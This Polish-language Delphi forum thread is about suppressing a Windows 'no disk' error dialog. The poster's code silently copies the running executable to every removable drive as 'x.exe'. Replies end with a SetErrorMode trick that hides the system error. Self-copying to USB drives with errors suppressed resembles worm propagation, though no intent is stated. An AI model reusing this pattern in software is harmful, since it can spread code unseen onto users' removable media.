jak wylaczyc wysiwetlanie wyjatkow

0

Witam jak wylaczyc wyswietlanie wyjatkow, stosuje try except ale to nic nie daje dalej wyswietla ten sam blad....

0

To chyba masz źle te try except. Jedynie kompilator wywala wyjątki podczas try except i to jest normalne "ostrzezenie". Program działający samodzielnie nie ma prawa wywalac wyjątków w tym bloku

0

W starszy Delphi byla z opcjach Debuggera opcja "Stop on Delphi exceptions" i nalezalo ja odznaczyc. A inny sposob ? Rob tak, zeby ten blad nie wystepowal :P

0

mam taki kod ktory sprawdza czy jest wlozony pendrive, jesli jest to kopiuje na pendrive-a plik

for i := Ord('A') to Ord('Z') do
begin
if GetDriveType(PChar(Chr(I)+':')) = DRIVE_REMOVABLE then
begin
try

copyfile(pchar(application.exename),pchar(chr(i)+':\x.exe'));

except begin end; end;end;

tyle tylko ze mam problem z tym bo mam pod usb wlozone cos co wyglada jak pednrive ale to sluzy do komunikacji z bezprzewodowa myszka i pendrivem nie jest, ale ten kod wykrywa to jako wymienny dysk no i <ort>proboje </ort>skopiowac plik, i chociaz zrobilem obsluge bledow to i tak wyswietla taki blad systemowy :

tytul : Project1.exe - brak dysku

W stacji nie ma dysku. Włóż dysk do stacji \Device\Harddisk1\DR1

i sa trzy przyciski anuluj ponow probe i kontynuj...

jak poprawic to zeby nie pokazywalo tego komunikatu ?

0

Zastosuj dyrektywę

{$IOChecks Off} 

przed wywołaniem pytania o pendriva.

ps. Nie pamiętam czy to rozwiązanie zadziała. Poprawną formę mam zapisaną w bazie kodów - podam później jeśli to nie zadziała.

0

nie działa ...

0

bardzo potrzebuje tego aby mi sie nie wyświetlał ten komunikat, naprawdę nikt nie wie jak mozna sobie z tym poradzic ?

0

spróbuj sprawdzić jeszcze wcześniej czy urządzenie usb jest przeznaczone do odczytu/zapisu
tu masz chyba niezły przykład z kodem
http://forums.devshed.com/showpost.php?p=797173&postcount=5
wydaje mi się że mógłbyś sprawdzić pena takim kodem wyciągnietym z powyższego linka

if MediaCharacteristics and MEDIA_READ_WRITE = MEDIA_READ_WRITE then

(pełny opis w linku)

0

a sproboje ten caly kod w jeszcze jedno try except wstawic

0

po 1 można wykorzystać OnException w Aplication..
po 2. try except na pewno działa.. to DELPHI pokazuje ci wyjątek w debugerze.. try except jest po to żeby go obsłużyć i nie zobaczył go użytkownik..

A jak chodzi ci o wyłączenie wyświetlania TOBIE wyjątków.. to gratuluje pomysłowości.. gdzieś ci coś wyleci i nawet wiedzieć nie będziesz..

0

try. except na pewno nie działa....

0
kris7777777 napisał(a)

try. except na pewno nie działa....

Słuchaj uchem, a nie brzuchem.

Jeśli Ci try..except nie działa, to znaczy, że wyjątki masz pokazywanie w ŚRODOWISKU. Aby to wyłączyć, musisz odznaczyć opcję notify on coś tam coś tam exceptions, o której ktoś wcześniej pisał.

0

w delphi 7 personal nie widze nigdzie takiej opcji ...

0

?

0

Poszukaj lepiej. W Tools -> Debugger Options... -> Language Exceptions i
tam możesz sobie poustawiać. O ile o to chodziło, bo już się pogubiłem ;/

0

try except.. nie działa?

zmień branże..

0

Ten "blad" jest wywolywany przez Windowsa wiec
przechywtywanie wyjatkow w Delphi nic nie da.

0

dobra dla przykladu, podam np taki kod , dysk h u mnie nie istnieje...


procedure TForm1.Button1Click(Sender: TObject);
begin
try

if directoryexists(pchar('h:\'))=true then begin

end;

except begin end; end;


end;

dysk H oczywiscie nie istnieje i dlatego jest błąd...

jest try, except, ale i tak zostanie wyswietlony windowsowy bląd? jak sobie z tym poradzic aby ten blad sie nie pokazywal
</delphi>

0

nie wiem czy widziałeś ale kilka postów wcześniej wskazałem na przykład który pozwoliłby wyeliminować ten błąd. do swojego wcześniejszego kodu na sprawdzanie czy urządzenie można odłączyć dodajesz kod na sprawdzenie czy działa w trybie odczyt/zapis (czyli wg mnie tylko dla dysków, flashy itp).

0

dalej mam ten sam błąd.

0

Najpierw co do Twojego kodu :

if directoryexists(pchar('h:\'))=true then begin

True jest tam niepotrzebne, to wartość domyślna, równie dobrze zadziała i lepiej wygląda

if directoryexists(pchar('h:\')) then begin

Sprawa wyjątków :
Wrzuć na formę komponent TApplicationEvents (zakładka Additional).
W zdarzeniu OnException wpisz kod mający wykonać się w przypadku wystąpienia błędu.

0

sprawdzales czy ten kod dziala ? bo ja sprawdzam u siebie i dalej wyskakuje ten sam blad.

0

To nie wywala błędu :

procedure TForm1.Button1Click(Sender: TObject);
var
  i : Integer;
begin
  for i := Ord('A') to Ord('Z') do
    if GetDriveType(PChar(Chr(I)+':\')) = DRIVE_REMOVABLE  then
      CopyFile(pchar(Application.Exename),pchar(chr(i)+':\x.exe'), False);
end;
0

czytaj to co wczesniej napisalem, mam cos takiego co wyglada jak pendrive ale sluzy to do komunikacji z myszką i nie jest to zaden dysk wymienny, ale wykrywa go jako dysk wymienny, program nie moze zapisac danych na tym i wywala błąd środowiskowy, try expect nie wylapuje takiego bledu i daltego zawsze sie pokazuje.

0

No wreszcie jedna konkretna pomocna odpowiedz !! Wielkie dzieki

0

Funkcja która potrafi cicho sprawdzić gotowość napędu A myślę, że zadziała też w Twoim przypadku.

function QDriveExists(drive: Char): Boolean; //parametr to litera napędu
var
  prev: Longint;
begin
  prev:= SetErrorMode(SEM_FAILCRITICALERRORS);
  result:= DirectoryExists(drive + ':\');
  SetErrorMode(prev);
end;
0

O_O

Jeśli uważacie że wyłączenie errorów jest rozwiązaniem problemu to mam nadzieje że nie przyjdzie mi z wami nigdy pracować ani korzystać z waszych programów..

PS.
Windows - GetLogicalDrives

0
zajcev napisał(a)

O_O

Jeśli uważacie że wyłączenie errorów jest rozwiązaniem problemu to mam nadzieje że nie przyjdzie mi z wami nigdy pracować ani korzystać z waszych programów..

PS.
Windows - GetLogicalDrives

zajcev teraz to się popisałeś, czytałeś chociaż dokładnie w czym problem? Windows inne urządzenie uważa za dysk a więc w czym ma pomóc funkcja GetLogicalDrives tak samo będzie uważała to urządzenie za dysk i podczas próby zapisu wywali błąd!!! Mój ostatni post to tylko przykład użycia SetErrorMode zresztą jak bez użycia tego sobie poradzisz z głupim komunikatem systemowym? Obsługa wyjątków (try except) jak wcześniej pisał autor wątku nic nie daje.

1 użytkowników online, w tym zalogowanych: 0, gości: 1